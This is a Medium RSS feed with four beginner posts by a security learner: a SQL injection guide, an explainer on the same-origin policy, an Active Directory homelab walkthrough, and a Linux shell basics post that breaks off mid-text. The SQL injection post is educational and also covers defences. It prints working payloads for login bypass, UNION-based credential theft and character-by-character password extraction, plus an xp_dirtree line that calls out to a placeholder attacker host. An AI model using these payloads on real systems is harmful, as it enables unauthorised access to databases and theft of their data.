<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Siva Sushma B on Medium]]></title>
        <description><![CDATA[Stories by Siva Sushma B on Medium]]></description>
        <link>https://medium.com/@sushinsec?source=rss-8e481c7b55f4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FaUm7vNljftvZ8vtIyrSVA@2x.jpeg</url>
            <title>Stories by Siva Sushma B on Medium</title>
            <link>https://medium.com/@sushinsec?source=rss-8e481c7b55f4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:40:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sushinsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SQL Injection : A beginner-friendly guide]]></title>
            <link>https://medium.com/@sushinsec/sql-injection-a-beginner-friendly-guide-dd3cc266733d?source=rss-8e481c7b55f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd3cc266733d</guid>
            <category><![CDATA[beginners-guide]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Siva Sushma B]]></dc:creator>
            <pubDate>Tue, 25 Mar 2025 03:06:10 GMT</pubDate>
            <atom:updated>2025-03-25T03:06:10.739Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQL Injection : A beginner-friendly guide</h3><p>What is the vulnerability? How to find it? How to exploit it? How to prevent it? — I usually have these questions whenever I think about a certain vulnerability and I also believe it is a good structure to know the vulnerability <em>almost </em>in-and-out.</p><p>This is beginner-friendly as I’m a beginner myself, but full disclaimer, if you find any mistakes, please comment down or let me know :)</p><h4>What is a Vulnerability?</h4><p>A <strong>vulnerability</strong> is a weakness or flaw in a system, software, network, or process that attackers can exploit to gain unauthorized access, cause harm, or disrupt operations. Vulnerabilities can arise due to poor software design, misconfigurations, outdated systems, or human errors.</p><h4>What is SQL Injection?</h4><p>SQL injection is a vulnerability that interferes with SQL queries that an application makes in the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*5u1WcJ-SdBbrhg0A.png" /><figcaption><a href="https://www.prplbx.com/resources/blog/sql-injection/">Image Source Link</a></figcaption></figure><p>It is a code injection technique that can steal important information from your database and <em>destroy</em> it.</p><h4>Impacts of SQL Injection</h4><ol><li><strong>Confidentiality (C)</strong>— Attackers can <strong>view and extract sensitive information</strong> from the database, violating privacy and data security.</li><li><strong>Integrity (I)</strong> — Attackers can <strong>alter or manipulate data</strong>, leading to fraudulent transactions or corrupted records.</li><li><strong>Availability (A)</strong> — Attackers can <strong>delete or overload the database</strong>, causing service disruptions or making the system unusable.</li></ol><p>In severe cases, SQL Injection can <strong>lead to Remote Code Execution (RCE)</strong> if the attacker exploits a database system that allows command execution. This gives the attacker access to the underlying <strong>operating system (OS)</strong>, potentially compromising the entire server.</p><h4>How Common is this vulnerability?</h4><p>Although SQL Injection (SQLi) has been known for decades, it remains one of the <strong>most common and dangerous</strong> vulnerabilities. It continues to appear in major security reports and is a top threat. The <strong>OWASP Top 10</strong> (2023) still ranks <strong>Injection Attacks</strong> (including SQLi) as a critical risk.</p><h4>Types of SQLi</h4><p>SQL Injection (SQLi) attacks can be classified into three main types based on how attackers interact with the database and retrieve information. Below are the types of SQLi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*6uMKmHrsdQP4yzNVqYuEgA.png" /><figcaption><a href="https://www.prplbx.com/resources/blog/sql-injection/">Image source Link</a></figcaption></figure><h4><strong>In-Band SQL Injection (<em>Classic SQLi)</em></strong></h4><p>In-Band SQL Injection is the most common and straightforward type of SQLi attack. It occurs when an attacker injects malicious SQL queries and receives results through the same communication channel — usually a web page or application response.</p><p><strong><em>How does it work?</em></strong></p><ol><li>The attacker <strong>finds an input field</strong> (e.g., login forms, search boxes, URLs) that interacts with a database.</li><li>They inject <strong>malicious SQL code</strong> to manipulate the query.</li><li>The application <strong>processes the injected query</strong> and returns <strong>data or errors</strong> on the same webpage.</li></ol><h4><strong>Types of In-Band SQL Injection:</strong></h4><p><strong>Error-Based SQL Injection</strong></p><ul><li>The attacker <strong>forces the database to generate error messages</strong> containing valuable information.</li><li>This technique helps identify <strong>database structure, version, technologies used, and table names</strong>.</li></ul><pre>&#39; OR 1=1 --</pre><ul><li>If the application is vulnerable, it may return an error like:</li></ul><p>SQL Syntax Error: Unknown column &#39;xyz&#39; in &#39;field list&#39;...</p><ul><li>The attacker can then refine their attack based on this information.</li></ul><blockquote><strong><em>Conditions for Error-Based SQLi to Work:</em></strong><br>1. The application must <strong>return detailed error messages</strong> instead of hiding them.<br>2. The attacker must be able to <strong>inject SQL commands</strong> into an input field.</blockquote><p><strong>Union-Based SQL Injection</strong></p><ul><li>Uses the <strong>UNION SQL operator</strong> to merge results from multiple queries.</li><li>The attacker <strong>injects a query</strong> to retrieve data of their choice, such as usernames and passwords.</li></ul><pre>&#39; UNION SELECT username, password FROM users; --</pre><ul><li>If successful, the webpage will display <strong>user credentials instead of normal content</strong>.</li></ul><blockquote><strong>Conditions for Union-Based SQLi to Work:<br>1. </strong>The attacker must determine the <strong>number of columns</strong> in the original query. <br>2. The selected columns must have <strong>compatible data types</strong>.<br>3. The database must allow<strong> UNION </strong>queries.</blockquote><h4>Inferential/Blind SQL Injection</h4><p>Blind SQL Injection occurs when an attacker injects malicious SQL queries but does <strong>not receive direct output</strong> (such as error messages or database results). Instead, they <strong>infer information</strong> based on the application’s behavior, such as response differences or time delays.</p><h4>Types of Blind<em> </em>SQL Injection</h4><p><strong>Boolean-Based SQL Injection (Content-based SQL line injection)</strong></p><ul><li>Attackers send <strong>Boolean conditions as payloads</strong> to a web application input field.</li><li>They check if the application behavior <strong>changes</strong> when different conditions are used.</li><li><strong>Example conditions :</strong></li><li><strong><em>TRUE Payload</em></strong><em>:</em> 1=1 → Page loads normally.</li><li><strong><em>FALSE Payload</em></strong><em>:</em> 1=2 → Page behaves differently (error, missing content, login failure, etc.)</li></ul><p><strong><em>How Does This Help Us?</em></strong></p><ul><li>If an attacker <strong>sends a condition</strong> and sees a <strong>difference in response</strong>, they confirm SQL Injection is possible.</li><li>This method helps attackers <strong>extract data one character at a time</strong>.</li></ul><p><strong><em>How to check if SQL Injection is Possible:</em></strong></p><pre>&#39; OR 1=1 --  (TRUE)   <br>&#39; OR 1=2 --  (FALSE)</pre><ul><li>If the page reacts differently → SQL Injection confirmed.</li></ul><p><strong><em>Guess the First Letter of the Password:</em></strong></p><pre>&#39; OR SUBSTRING((SELECT password FROM users WHERE username=&#39;admin&#39;), 1, 1)=&#39;a&#39; --</pre><ul><li>If this is <strong>TRUE</strong>, the first letter is a.</li><li>If FALSE, try &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, etc., until the right letter is found.</li></ul><p><strong><em>Extract the Entire Password One Letter at a Time:</em></strong></p><pre>&#39; OR SUBSTRING((SELECT password FROM users WHERE username=&#39;admin&#39;), 2, 1)=&#39;b&#39; --</pre><ul><li>Continue until the full password is retrieved.</li></ul><p><strong>Time-Based Blind SQL Injection</strong></p><ul><li>If the application does <strong>not show errors or output</strong>, attackers use <strong>time delays</strong> to infer whether their query was executed.</li><li>This works by <strong>injecting SQL commands that cause a delay</strong>, and observing how long the application takes to respond.</li></ul><p><strong>Example :</strong></p><pre>&#39; OR IF(1=1, SLEEP(5), 0); --</pre><ul><li>If the page takes <strong>5 seconds</strong> to respond, the attacker confirms the database is vulnerable.</li></ul><p>Instead of SLEEP(), an attacker might use:</p><ul><li>WAITFOR DELAY &#39;00:00:05&#39; (SQL Server)</li><li>pg_sleep(5); (PostgreSQL)</li></ul><h4>Out-of-Band SQL Injection (Advanced SQLi)</h4><p>Out-of-Band SQL Injection is used when an attacker <strong>cannot retrieve results directly</strong> (like in Blind SQLi) or use time delays effectively. Instead, the attacker <strong>sends data to an external server they control. </strong>A variety of protocols can be used such as DNS and HTTPS.</p><ul><li>The application <strong>does not return errors or data in responses</strong>.</li><li>Boolean and Time-based SQLi <strong>are ineffective</strong> due to security controls.</li><li>The database <strong>supports external network interactions (e.g., DNS lookups, HTTP requests)</strong>.</li></ul><p><strong>DNS-Based Out-of-Band SQL Injection</strong></p><p>Some databases allow making <strong>external requests</strong> (e.g., performing a DNS lookup). Attackers exploit this to send <strong>sensitive database information</strong> to their server.</p><p><strong>Example Payload :</strong></p><pre>EXEC master..xp_dirtree &#39;\\attacker-server.com\test&#39;;</pre><ul><li>The <strong>xp_dirtree</strong> stored procedure forces the database to <strong>perform a network request</strong> to attacker-server.com.</li><li>If the attacker sees a request <strong>on their server logs</strong>, they confirm SQL Injection exists.</li></ul><h3>How to Find SQL Injection Vulnerabilities?</h3><p>SQL Injection (SQLi) is one of the most critical vulnerabilities in web applications. Whether you approach it from a <strong>Black Box</strong> or <strong>White Box</strong> perspective can affect your ability to find it.</p><p>In <strong>Black Box Testing,</strong> the tester has no prior knowledge of the system’s internal workings. The goal is to identify vulnerabilities using reconnaissance, mapping, fuzzing, and analyzing application behavior.</p><h4>1. Mapping the Application</h4><p>Before testing for SQL Injection, it’s crucial to understand how the application works. This involves:</p><ul><li>Identifying input fields (e.g., login forms, search boxes, URL parameters).</li><li>Observing how data flows and how the system responds to different inputs.</li><li>Using Burp Suite Proxy to intercept and analyze requests.</li></ul><p>Once the application is mapped, the next step is fuzzing.</p><h4>2. Fuzzing for SQL Injection</h4><p>Fuzzing involves sending unexpected inputs to application fields and analyzing responses to detect possible SQL Injection vulnerabilities.</p><ul><li>Intercept requests using Burp Suite Proxy.</li><li>Modify input parameters manually by inserting common SQL Injection payloads.</li><li>Observe responses for errors, changes in behavior, or delays.</li><li>Check if time-based techniques (such as intentional delays) reveal a possible blind SQL Injection vulnerability.</li><li>Attempt out-of-band payloads to check if the database makes external requests, indicating an advanced form of SQL Injection.</li></ul><p>If inconsistent responses, errors, or unusual behavior appear, SQL Injection may be present, requiring further investigation.</p><p>In <strong>White Box Testing</strong>, testers have access to source code, database configurations, and logs. This allows for a deeper analysis of how SQL queries interact with user input, making it easier to identify potential vulnerabilities before deployment.</p><h4>1. Enable Server &amp; Database Logging</h4><ul><li><strong>Server Logging</strong>: Helps capture error messages triggered during fuzzing.</li><li><strong>Database Logging</strong>: Records how user inputs are logged in SQL queries, helping detect improper handling.</li></ul><p><strong>Steps to Enable Logging:</strong></p><ul><li>Configure <strong>web server logs</strong> to capture SQL errors and unexpected behaviors.</li><li>Enable <strong>database query logs</strong> to track how input is processed by SQL queries.</li><li>Monitor logs before and after testing to spot anomalies.</li></ul><h4>2. Mapping the Application</h4><p>Before testing for SQL Injection, it is important to understand how the application handles database interactions.</p><p><strong>Steps for Mapping:</strong></p><ul><li>Identify <strong>visible functionalities</strong> that interact with the database, such as login forms, search fields, and filters.</li><li>Perform <strong>a regex search</strong> on the source code to locate all instances where <strong>user input</strong> is used in SQL queries.</li></ul><blockquote><strong>What is Regex Search?</strong><br>Regex search is an essential tool for anyone working with text-based data, allowing you to efficiently and accurately find patterns or information, even in complex or large datasets. <a href="https://www.zytrax.com/tech/web/regex.htm"><strong>https://www.zytrax.com/tech/web/regex.htm</strong></a> — This is the link to an amazing post covering the basics and cheat sheet for regex search.</blockquote><h4>3. Fuzzing the Application &amp; Checking Logs</h4><p>Once the mapping is done, the next step is to <strong>fuzz</strong> the application and analyze how it responds.</p><p><strong>Steps for Fuzzing:</strong></p><ul><li>Inject <strong>unexpected inputs</strong> into identified fields and observe responses.</li><li>Use <strong>Burp Suite</strong> or manually modify inputs to test for SQL errors.</li><li>Check <strong>server logs</strong> and <strong>database logs</strong> to see how payloads are processed.</li></ul><p><strong>Example Logs to Analyze:</strong></p><ul><li><strong>Database logs:</strong> Look for queries where user input is directly inserted into SQL statements.</li><li><strong>Error logs:</strong> Identify SQL syntax errors or anomalies that may indicate injection points.</li></ul><p>After reviewing logs, re-examine the code to verify which input fields are vulnerable.</p><h4>4. Test for SQL Injection Vulnerabilities</h4><p>After fuzzing and analyzing logs, test whether any <strong>SQL Injection vulnerabilities exist</strong>.</p><p>At this stage, the goal is to confirm the presence of vulnerabilities.<br> The next section will focus on exploitation techniques.</p><h3>Defending Against SQL Injection</h3><p>To prevent SQL Injection, organizations should implement <strong>both primary and additional defenses</strong>.</p><h4>Primary Defenses (First Line of Defense)</h4><p><strong>Use Stored Procedures</strong></p><ul><li>Avoid dynamically constructing SQL queries using user input.</li><li>Use <strong>parameterized queries</strong> instead of concatenating strings.</li></ul><p><strong>Whitelist Input Validation</strong></p><ul><li>Only allow expected characters (e.g., restrict inputs to alphanumeric values where possible).</li></ul><p><strong>Escape All User-Supplied Input</strong></p><ul><li>Ensure that special characters like &#39;, &quot;, and ; are properly escaped if user input must be used in queries.</li></ul><h4>Additional Defenses (Defense in Depth)</h4><p><strong>Least Privilege Principle</strong></p><ul><li>Ensure database accounts <strong>only have necessary permissions</strong> (e.g., read-only access where applicable).</li></ul><p><strong>Remove Default Functionalities</strong></p><ul><li>Disable <strong>dangerous database features</strong> that are not required (e.g., xp_cmdshell in SQL Server).</li></ul><p><strong>Ensure CIS Benchmark Compliance</strong></p><ul><li>Follow <strong>CIS benchmarks</strong> for database security (e.g., disabling unnecessary services, enabling logging, enforcing encryption).</li></ul><p><strong>Apply Security Patches Regularly</strong></p><ul><li>Keep databases, frameworks, and web applications <strong>updated</strong> to prevent exploitation of known vulnerabilities.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd3cc266733d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOP — Web Security Policies]]></title>
            <link>https://medium.com/@sushinsec/sop-web-security-policies-a08f982a19cc?source=rss-8e481c7b55f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/a08f982a19cc</guid>
            <category><![CDATA[web-security-policies]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[same-origin-policy]]></category>
            <dc:creator><![CDATA[Siva Sushma B]]></dc:creator>
            <pubDate>Thu, 06 Feb 2025 23:35:12 GMT</pubDate>
            <atom:updated>2025-02-06T23:35:12.771Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOP — Web Security Policies</h3><p>Hello,</p><p>Recently, a close friend of mine had a case study that involved learning about SOP, and I happened to learn it as well :D</p><h4>What is Web and Web Security Policy?</h4><p>The WEB is a network of sites, APIs, and applications, constantly exchanging information. To ensure these interactions remain secure, browsers usually have specific security policies that prevent unauthorized access and data breaches.</p><p>There are several Web Security Policies but let’s talk about SOP in this post.</p><h4>Same-Origin Policy (SOP)</h4><p>Same-Origin Policy (SOP) is a fundamental security feature that prevents web pages from accessing data from a different origin unless explicitly allowed. This restriction helps protect user data from malicious scripts that could otherwise steal information.</p><h4>What Defines an Origin?</h4><p>Before we understand policy, it is essential to understand what <em>origin</em> means.</p><p><strong>Origin : Protocol + Schema/Domain + Port</strong></p><p>Let’s break it down with an example:</p><p><a href="https://example.com/"><strong>https://example.com</strong></a></p><ul><li><strong>Protocol:</strong> https (This tells the browser how to communicate with the website)</li><li><strong>Domain:</strong> example.com (This is the website’s name)</li><li><strong>Port:</strong> <strong>443</strong> (Since no port is mentioned, the browser assumes the default for https, which is 443)</li></ul><p>If any of these components differ, the browser treats it as a different origin.</p><h4>SOP in Action: Example</h4><p>Imagine you’re logged into your online banking account at <strong>https://mybank.com</strong>. Your browser has stored authentication cookies, allowing you to access sensitive information like your balance and transaction history.</p><p>Now, let’s say you visit a shady website: <a href="https://freemoney.com/"><strong>https://freemoney.com</strong></a></p><p>This site contains a hidden script that tries to send a request to <strong>https://mybank.com/get-account-info</strong>, attempting to steal your authentication cookies. These cookies will allow the attacker to authenticate as the user, gaining full access to your bank account without needing your username or password.</p><p><strong>How can the shady website include a hidden script? </strong>There are some common techniques that attackers use to hide the malicious script on the shady website that the user may visit.</p><ol><li><strong>Hidden JavaScript in the Webpage: </strong>The malicious site might load a script in the background that runs as soon as the page is opened. The user doesn’t see it, but the browser executes it. The script runs <strong>automatically</strong> when the user visits the site.</li><li><strong>Hidden Iframes (Invisible Windows)</strong>: An attacker can embed an invisible iframe that loads the bank’s website in the background.<br><em>Even though the user doesn’t see it, the iframe might attempt to trick the browser into performing unauthorized actions.</em></li><li><strong>Cross-Site Scripting (XSS) Attack: </strong>If another website (even a trusted one and not the shady one) has <strong>XSS vulnerabilities</strong>, an attacker could inject malicious code that runs in the victim’s browser.</li></ol><p>Now that we know how malicious scripts are included in the shady website (or trusted ones with vulnerabilities), we need to understand how SOP helps here.</p><p>The user visited <a href="https://freemoney.com/"><strong>https://freemoney</strong></a><strong>.com</strong> now this site tries to send a request to <a href="https://mybank.com/get-account-info">https://mybank.com/get-account-info</a>. The attackers inject malicious scripts to <strong>extract authentication cookies</strong> stored by your browser. These cookies contain session information, which allows attackers to gain unauthorized access.</p><p>Without SOP, the browser would execute this script, sending a request to your bank <strong>using your logged-in session</strong> — exposing your private banking details.</p><h4>Piecing it together: How SOP prevents this attack</h4><p>Since <strong>https://freemoney.com</strong> and <strong>https://mybank.com</strong> have different <strong>origins</strong> (different domains), SOP <strong>blocks the request</strong>. The shady site cannot access your banking data because the browser enforces the rule:</p><p>Always remember — Only scripts from the same origin can interact with each other’s data.</p><p>Let’s break down the origins of both websites</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*jtQ1EW9F6SZh44NqeqlxGA.png" /></figure><p>Since the Origin <em>(Protocol+Domain+Port)</em> is not the same for both websites, the shady site can’t access the user’s banking details or any other sensitive information available on the user’s banking page — this is possible because of SOP :))</p><p>You might have several questions or doubts like I did when I first explored this, Here is a small table I made to understand it better.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/0*xtZWdCnXxE2aSI_A" /></figure><h4>Why Does This Matter?</h4><p>Web browsers enforce the <strong>Same-Origin Policy (SOP)</strong> to prevent unauthorized access between different origins.</p><p>Understanding <strong>origin</strong> helps in debugging security restrictions and configuring things like <strong>CORS </strong><em>(next post prolly *wink*)</em><strong> </strong>when you actually need controlled cross-origin access.</p><h4>Impact of Same-Origin Policy</h4><ol><li><strong>Stops Unauthorized Data Theft: </strong>Attackers <strong>cannot read</strong> responses from another origin. Even if they trick the browser into making a request to your bank, they <strong>won’t get the response</strong> due to SOP.</li><li><strong>Does Not Prevent CSRF: </strong>SOP only blocks reading responses. It does not stop attackers from sending requests using your authentication cookies (CSRF attack). Websites need CSRF tokens or SameSite cookies to stop CSRF.</li><li><strong>Prevents Scripts from Stealing Session Cookies: </strong>Attackers often try to steal authentication cookies to hijack user sessions. SOP stops JavaScript from reading cookies from another origin, making cookie theft harder.</li><li><strong>Restricts Third-Party Script Access: </strong>If a site loads an external script (e.g., analytics, ads), SOP prevents that script from accessing sensitive user data.</li><li><strong>Impacts Legitimate Cross-Origin Requests: </strong>Some web apps need cross-origin communication (e.g., APIs, single-page apps). SOP blocks this by default, which is why CORS exists to allow controlled access.</li></ol><p>See you next time! Happy learning :)</p><p>Your feedback is highly appreciated — Drop it in the comments!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a08f982a19cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Connecting User Machines to the Domain]]></title>
            <link>https://medium.com/@sushinsec/connecting-user-machines-to-the-domain-21edc6edcb9e?source=rss-8e481c7b55f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/21edc6edcb9e</guid>
            <dc:creator><![CDATA[Siva Sushma B]]></dc:creator>
            <pubDate>Sun, 12 Jan 2025 16:26:30 GMT</pubDate>
            <atom:updated>2025-01-12T16:34:33.244Z</atom:updated>
            <content:encoded><![CDATA[<p>Active Directory HomeLab setup — Part two</p><p>Bonjour/Hi! Happy New Year :)</p><p>As promised, here’s the continuation of my Active Directory HomeLab setup. If you missed the previous post where I set up the Domain Controller (DC) and User Machines, you can check it out <a href="https://medium.com/@sushinsec/unlocking-the-gates-navigating-active-directory-c3574c37e81e"><strong>here</strong></a>.</p><p>In this post, I’ll walk you through the process of connecting the user machines to the domain and share a few essential components to understand before experimenting with and learning AD</p><h3>Connecting User Machines to the Domain</h3><p>Once the Domain Controller is up and running, the next step is to join your user machines to the domain. Here’s how to do it</p><h4>Step 1: Check Network Connectivity</h4><ul><li>Ensure the user machines and the DC are on the same network (or virtual network if using VMware).</li><li>Confirm that the user machines can ping the DC using its IP address or hostname. (pls do it)</li></ul><h4>Step 2: Configure DNS Settings on the User Machines</h4><ul><li>Open <strong>Control Panel &gt; Network and Internet &gt; Network and Sharing Center</strong>.</li><li>Click on <strong>Change adapter settings</strong>.</li><li>Right-click your active network adapter and select <strong>Properties</strong>.</li><li>Highlight <strong>Internet Protocol Version 4 (TCP/IPv4)</strong> and click <strong>Properties</strong>.</li><li>Set the <strong>Preferred DNS Server</strong> to the IP address of your DC</li></ul><p><strong><em>Why this step is important</em></strong><em>: Active Directory relies on DNS for domain communication, so the user machine must know where to find the DC.</em></p><h4>Step 3: Join the Domain</h4><ol><li>On the user machine, right-click <strong>This PC</strong> (or <strong>My Computer</strong>) and select <strong>Properties</strong>.</li><li>Click <strong>Change Settings</strong> under the <strong>Computer name, domain, and workgroup settings</strong> section.</li><li>In the <strong>System Properties</strong> window, click <strong>Change</strong>.</li><li>Under <strong>Member of</strong>, select <strong>Domain</strong> and enter the domain name you set up (e.g., example.local) — example.local can be anything and you get to choose your domain name here. Be creative! (or not )</li><li>Click <strong>OK</strong>. You’ll be prompted for credentials. Enter the credentials of a domain user with the necessary permissions (the admin account you created during the DC setup).</li><li>Restart the machine when prompted.</li></ol><h4>Step 4: Verify the Connection</h4><ul><li>After the restart, log in to the user machine using domain credentials (e.g., example\username) — example has to be your domain name</li><li>Verify that the machine is listed in the <strong>Active Directory Users and Computers (ADUC)</strong> console on the DC under <strong>Computers</strong>.</li></ul><p>Now that we have the setup ready, it is better to revisit the essential components of AD.</p><h4>1. Domain</h4><p>A domain is the core unit of an AD environment. It’s a collection of objects (users, computers, and groups) that share a common database and security policies.</p><ul><li>Example: example.local is a domain. All users and computers under this domain follow its rules and policies.</li></ul><h4>2. Domain Controller (DC)</h4><p>The domain controller is the server that hosts AD services and manages the domain&#39;s security and permissions.</p><ul><li>Responsibilities: Authenticating users, enforcing security policies, and maintaining the AD database.</li></ul><h4>3. Organizational Units (OUs)</h4><p>OUs are containers within a domain used to organize and manage objects (users, groups, and computers).</p><ul><li>Think of OUs as folders where you can group similar objects, like “Finance Users,” “HR Computers,” or “IT Staff.”</li><li>They are critical for applying Group Policy settings to specific parts of the organization.</li></ul><h4>4. Users and Groups</h4><p><strong>Users</strong>: Users represent individual accounts that can log into the domain and access resources.</p><ul><li>It can be employees, admins, or service accounts.</li></ul><p><strong>Groups: </strong>Groups are collections of users or computers.</p><ul><li><strong>Security Groups</strong>: Grant permissions to resources.</li><li><strong>Distribution Groups</strong>: Used for email distribution lists.</li></ul><h4>5. Group Policy Objects (GPOs)</h4><p>GPOs are configurations applied to users or computers within the domain to enforce policies.</p><ul><li>Examples: Restricting access to the Control Panel, setting desktop wallpapers, disabling USB drives, etc.</li><li>GPOs are linked to OUs, domains, or sites.</li></ul><p><em>Use the </em><em>Group Policy Management Console (GPMC) to create and manage GPOs.</em></p><h4>6. Forest and Trees</h4><p><strong>Forest: </strong>A forest is the top-level logical container in AD. It contains one or more domains that share a common schema and configuration.</p><ul><li>Example: If you have example.local and corp.example.local, they belong to the same forest.</li></ul><p><strong>Tree: </strong>A tree is a hierarchical structure within a forest, consisting of domains connected by trust relationships.</p><h4>7. Active Directory Schema</h4><p>The schema defines the structure of the AD database.</p><ul><li>It dictates what types of objects (users, groups, etc.) can exist and what attributes they can have.</li></ul><h4>8. DNS Integration</h4><p>AD heavily relies on DNS to locate domain controllers and resources.</p><ul><li>The Domain Controller typically acts as a DNS server in AD environments.</li></ul><h4>9. Active Directory Sites and Services</h4><p>This component is used to manage network topology.</p><ul><li><strong>Sites</strong>: Represent physical locations connected by reliable network links.</li><li><strong>Services</strong>: Define how replication occurs between domain controllers in different sites.</li></ul><h4>10. Replication</h4><p>AD uses replication to keep all Domain Controllers in sync.</p><ul><li><strong>Intrasite Replication</strong>: Fast replication within the same site.</li><li><strong>Intersite Replication</strong>: Optimized replication between different sites, often compressed to save bandwidth.</li></ul><h4>11. Active Directory Users and Computers (ADUC)</h4><p>ADUC is the go-to console for managing AD objects like users, groups, and computers.</p><ul><li>Tasks include resetting passwords, creating accounts, and assigning group memberships.</li></ul><h4>12. Active Directory Administrative Center (ADAC)</h4><p>ADAC provides a modern interface for managing AD, offering features like:</p><ul><li>Fine-grained password policies.</li><li>Managing dynamic groups.</li><li>Viewing and editing PowerShell commands for each task.</li></ul><h4>13. Trust Relationships</h4><p>Trust relationships enable authentication and resource access across different domains or forests.</p><ul><li><strong>Parent-Child Trust</strong>: Within the same forest.</li><li><strong>External Trust</strong>: Between different forests.</li><li><strong>Shortcut Trust</strong>: Speeds up authentication within a forest.</li></ul><h3>What’s Next?</h3><p>Now that you know the essential components, start experimenting! Try to</p><ul><li>Create users and groups in AD.</li><li>Apply GPOs to OUs for specific policies.</li><li>Use ADAC for advanced management.</li></ul><p>I will demonstrate all of these and more in my next post. Stay tuned! :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21edc6edcb9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Basics: Quotes, Wildcards, Redirection, Piping, and Pattern Matching Simplified]]></title>
            <link>https://medium.com/@sushinsec/linux-basics-quotes-wildcards-redirection-piping-and-pattern-matching-simplified-9dc2d03b30e2?source=rss-8e481c7b55f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/9dc2d03b30e2</guid>
            <dc:creator><![CDATA[Siva Sushma B]]></dc:creator>
            <pubDate>Fri, 22 Nov 2024 15:02:41 GMT</pubDate>
            <atom:updated>2024-11-22T15:02:41.333Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,</p><p>If you’ve ever felt nervous about using the Linux command line, don’t worry! Many beginners feel the same way. But trust me, understanding Linux is not as difficult as it looks. Today, we’ll talk about quotes, wildcards, redirection, piping, and pattern matching simply and easily.</p><p>Think of Linux as your assistant in a big library:</p><ul><li><strong>Searching:</strong> Find books based on a topic you need.</li><li><strong>Organizing:</strong> Put your notes into files.</li><li><strong>Pattern Matching:</strong> Search for books by title or specific words.</li><li><strong>Piping: </strong>Pass information from one note to another.</li></ul><p>This is what Linux does with files, data, and commands. Once you understand these tools, you’ll start working on Linux comfortably.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K-PSe2IMsFHmLAeK" /><figcaption>source : pinterest</figcaption></figure><h4>Understanding Quotes in Linux — <em>Controlling Special Characters</em></h4><p>Linux commands often have special characters like $, *, or |. These characters mean something specific to the system. Quotes help you control how the system processes them.</p><p><strong>How the Shell Processes Input</strong></p><ul><li>Without quotes, the shell tries to <strong>interpret special characters</strong> (e.g., $USER becomes the current username).</li><li>Quotes tell the shell <em>how</em> to interpret the input.</li></ul><h4><strong>Types of Quotes and When to Use Them</strong></h4><p><strong>Single Quotes (‘)</strong></p><ul><li>Everything inside single quotes is treated <strong>literally</strong>.</li><li>Use when you don’t want the shell to process anything.</li></ul><blockquote><strong><em>Input</em></strong><em>: echo ‘My name is $USER’<br></em><strong><em>Output</em></strong><em>: My name is $USER</em></blockquote><p><strong>Double Quotes (“)</strong></p><ul><li>Most characters are literal, but variables and commands are still processed.</li><li>Use when you need to embed variables or commands.</li></ul><blockquote><strong>Input: </strong><br>name= “Medium”<br>echo “Hello, $name”<br><strong>Output</strong>: Hello, Medium</blockquote><p><strong>Backticks and $() for Command Substitution</strong></p><ul><li>Inserts the output of a command into another command.<br>$() is preferred for readability.</li></ul><blockquote><strong><em>Input: </em></strong><em>echo “Today’s date is $(date)”<br></em><strong><em>Output: </em></strong><em>Today’s date is Thu Nov 21</em></blockquote><p><strong>Common Pitfalls</strong></p><ul><li>Forgetting quotes around filenames with spaces</li></ul><blockquote><em>cp My Document.txt /backup<br></em>#Error! Should be:<em><br>cp “My Document.txt” /backup</em></blockquote><ul><li>To tell the shell that My Document.txt is a single filename, you must enclose it in quotes.</li></ul><h4><strong>Wildcards: Matching Files and Directories</strong></h4><ul><li>Wildcards let you process multiple files or directories without typing each name manually.</li><li><strong>How Wildcards Work: </strong>The shell uses a mechanism called globbing to expand patterns into matching file names.</li></ul><p><strong>Common Wildcards</strong></p><ul><li><strong>Asterisk (*)</strong>: Matches zero or more characters.<br><strong><em>ls *.txt </em></strong><em>— Matches: file1.txt, notes.txt</em></li><li><strong>Question Mark (?)</strong>: Matches exactly one character.<br><strong><em>ls file?.txt </em></strong><em>— Matches: file1.txt, but not file10.txt</em></li><li><strong>Square Brackets ([ ])</strong>: Matches one character in a set or range.<br><strong><em>ls file[1–3].txt </em></strong><em>— Matches: file1.txt, file2.txt, file3.txt</em></li><li><strong>Curly Braces ({ })</strong>: Expands into multiple patterns.<br><strong><em>cp file{1,2,3}.txt /backup </em></strong><em>— </em><strong><em>Copies </em></strong><em>file1.txt, file2.txt, file3.txt</em></li></ul><h4><strong>Redirection: Controlling Input and Output</strong></h4><p>Linux commands generate <strong>output</strong>, errors, or require <strong>input</strong>. Redirection 